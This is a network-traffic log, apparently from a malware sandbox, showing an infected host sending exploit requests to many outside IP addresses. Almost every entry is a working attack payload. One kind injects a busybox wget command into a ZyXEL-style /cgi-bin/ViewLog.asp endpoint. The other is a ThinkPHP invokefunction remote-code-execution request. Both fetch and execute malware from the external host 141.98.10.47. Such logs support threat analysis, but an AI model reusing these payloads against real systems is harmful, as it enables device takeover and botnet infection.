Dec 26, 2023 21:23:45.776752949 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
193	192.168.2.23	33338	31.136.88.254	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:46.254757881 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:23:47.033605099 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:23:48.569401979 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:23:51.832948923 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:23:57.976073027 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:10.262346029 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:35.602782965 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:24.747859955 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
194	192.168.2.23	59200	94.110.164.233	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:46.346246958 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
195	192.168.2.23	47074	95.164.192.24	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:46.410422087 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:46.566711903 CET	495	IN	HTTP/1.1 400 Bad Request Date: Tue, 26 Dec 2023 20:23:46 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 301 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 31 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.52 (Ubuntu) Server at 127.0.1.1 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
196	192.168.2.23	46222	95.110.247.183	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:46.506339073 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:47.865487099 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:48.119719028 CET	502	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Tue, 26 Dec 2023 20:23:06 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>
Dec 26, 2023 21:23:50.643716097 CET	502	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Tue, 26 Dec 2023 20:23:06 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
197	192.168.2.23	33168	95.46.111.175	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:46.546242952 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:46.846724033 CET	242	IN	HTTP/1.0 400 Bad Request Connection: close Content-Length: 113 Date: Tue, 26 Dec 2023 20:23:44 GMT Expires: 0 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 3a 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 45 72 72 6f 72 20 34 30 30 3a 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><title>Error 400: Bad Request</title></head><body><h1>Error 400: Bad Request</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
198	192.168.2.23	40666	88.249.48.143	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:46.876568079 CET	319	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
199	192.168.2.23	47198	95.179.141.208	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:47.089503050 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:47.340750933 CET	323	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 26 Dec 2023 20:23:47 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
200	192.168.2.23	36290	112.78.189.212	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:49.729831934 CET	319	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:50.937084913 CET	319	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:53.368766069 CET	319	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:58.232081890 CET	319	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:07.958805084 CET	319	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:27.411945105 CET	319	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:06.318470955 CET	319	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
201	192.168.2.23	58110	95.211.189.151	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:50.248528004 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
202	192.168.2.23	56844	94.120.230.174	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:50.298130035 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
203	192.168.2.23	43470	31.33.10.36	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:50.478198051 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:23:51.193031073 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:23:52.600858927 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
204	192.168.2.23	33102	31.200.90.116	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:50.579334021 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
205	192.168.2.23	44522	95.216.38.207	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:51.015753031 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:51.286477089 CET	115	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port
206	192.168.2.23	39174	95.86.90.250	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:51.035758972 CET	319	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
207	192.168.2.23	35700	95.101.134.201	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:51.035803080 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
